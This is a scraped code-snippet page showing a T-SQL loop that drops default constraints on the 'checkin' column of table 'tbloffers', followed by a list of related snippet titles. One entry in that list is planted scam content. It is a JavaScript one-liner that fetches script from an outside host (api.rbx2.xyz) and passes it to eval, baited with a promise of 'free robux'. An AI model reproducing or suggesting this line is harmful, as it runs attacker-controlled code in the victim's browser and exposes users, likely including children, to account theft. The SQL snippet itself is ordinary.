Drop constraint in ms sql

DECLARE @sql NVARCHAR(MAX)
WHILE 1=1
BEGIN
    SELECT TOP 1 @sql = N'alter table tbloffers drop constraint ['+dc.NAME+N']'
    from sys.default_constraints dc
    JOIN sys.columns c
        ON c.default_object_id = dc.object_id
    WHERE 
        dc.parent_object_id = OBJECT_ID('tbloffers')
    AND c.name = N'checkin'
    IF @@ROWCOUNT = 0 BREAK
    EXEC (@sql)
END

Source: stackoverflow.com

Similar codes

3 votes229 views1 answer
Apex set debug level
SQL
8 votes234 views2 answers
Sqlsrv default port
SQL
1 vote251 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
5 votes207 views2 answers
Ranking functions in sql
SQL
0 vote218 views1 answer
Mysql value ends with
SQL
0 vote201 views1 answer
Tsql cmd exec script from file
SQL
50 votes308 views6 answers
Sql count duplicate rows
SQL
0 vote203 views1 answer
Delete record by id sql
SQL
0 vote205 views1 answer
Mysql query single row
SQL
6 votes256 views3 answers
Mysql remove user privileges
SQL